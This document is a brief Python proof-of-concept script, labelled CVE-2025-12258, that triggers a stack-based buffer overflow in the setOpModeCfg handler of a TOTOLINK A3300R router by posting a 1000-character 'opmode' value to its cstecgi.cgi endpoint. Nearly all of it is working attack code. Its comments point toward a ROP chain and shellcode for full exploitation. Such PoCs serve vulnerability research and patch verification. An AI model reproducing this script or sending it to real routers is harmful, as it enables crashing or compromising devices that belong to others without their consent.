CVE-2025-12258

import requests # CVE-2025-12258 PoC - TOTOLINK A3300R Buffer Overflow # Target: TOTOLINK A3300R router with firmware 17.0.0cu.557_B20221024 # Vulnerability: Stack-based buffer overflow in setOpModeCfg function target_ip = "192.168.0.1" # Router IP address target_port = 80 url = f"http://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" # Construct payload with excessive length to trigger buffer overflow # The actual exploitation requires precise return address overwrite payload = { "opmode": "A" * 1000, # Overflow payload "topicurl": "setOpModeCfg" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload['opmode'])}") response = requests.post(url, data=payload, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Note: For actual exploitation, use ROP chain and shellcode # This PoC demonstrates the vulnerability trigger only

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